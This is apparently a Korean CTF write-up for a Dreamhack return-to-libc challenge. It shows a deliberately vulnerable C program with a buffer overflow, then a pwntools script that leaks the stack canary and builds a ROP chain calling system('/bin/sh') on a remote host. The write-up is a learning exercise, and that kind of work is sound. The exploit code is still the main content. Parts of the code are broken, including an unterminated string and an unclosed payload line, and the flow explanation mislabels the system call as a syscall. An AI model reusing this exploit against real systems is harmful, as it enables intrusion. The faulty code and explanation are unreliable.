source code
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
system("echo 'system@plt");
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
분석
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
checksec
- canary, NX 확인

실습
- Canary leak

<main+17>: canary = [rbp-0x8]
<main+123> ~ <main+140>: read buffer setting -> buf = [rbp-0x40]
buf <-> canary: 0x38
- canary leak
from pwn import *
def slog(name, addr): return success(': '.join([name, hex(addr)]))
p= remote('host3.dreamhack.games', 16050)
e = ELF('./rtl')
buf = b'A' * 0x39
p.sendafter(b"Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary: ',cnry)
ret = 0x0000000000400285
pop_rdi = 0x0000000000400853
system_plt = e.plt['system']
bin_sh = 0x400874
payload = b'A' * 0x38 + p64(cnry) + b'B' * 0x8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system_plt
pause()
p.interactive()
3. RTL 실행 흐름
- main 함수에서의 return
- RIP를 0x0000000000400285로 옮김

- return gadget에서의 return
- 다시 return하여 RIP를 0x0000000000400853로 옮김

- pop rdi;ret gadget에서의 실행흐름
- pop rdi를 하여 bin/sh를 rdi에 저장

- syscall(rdi)
- rdi를 가지고 syscall로 return

3. exploit
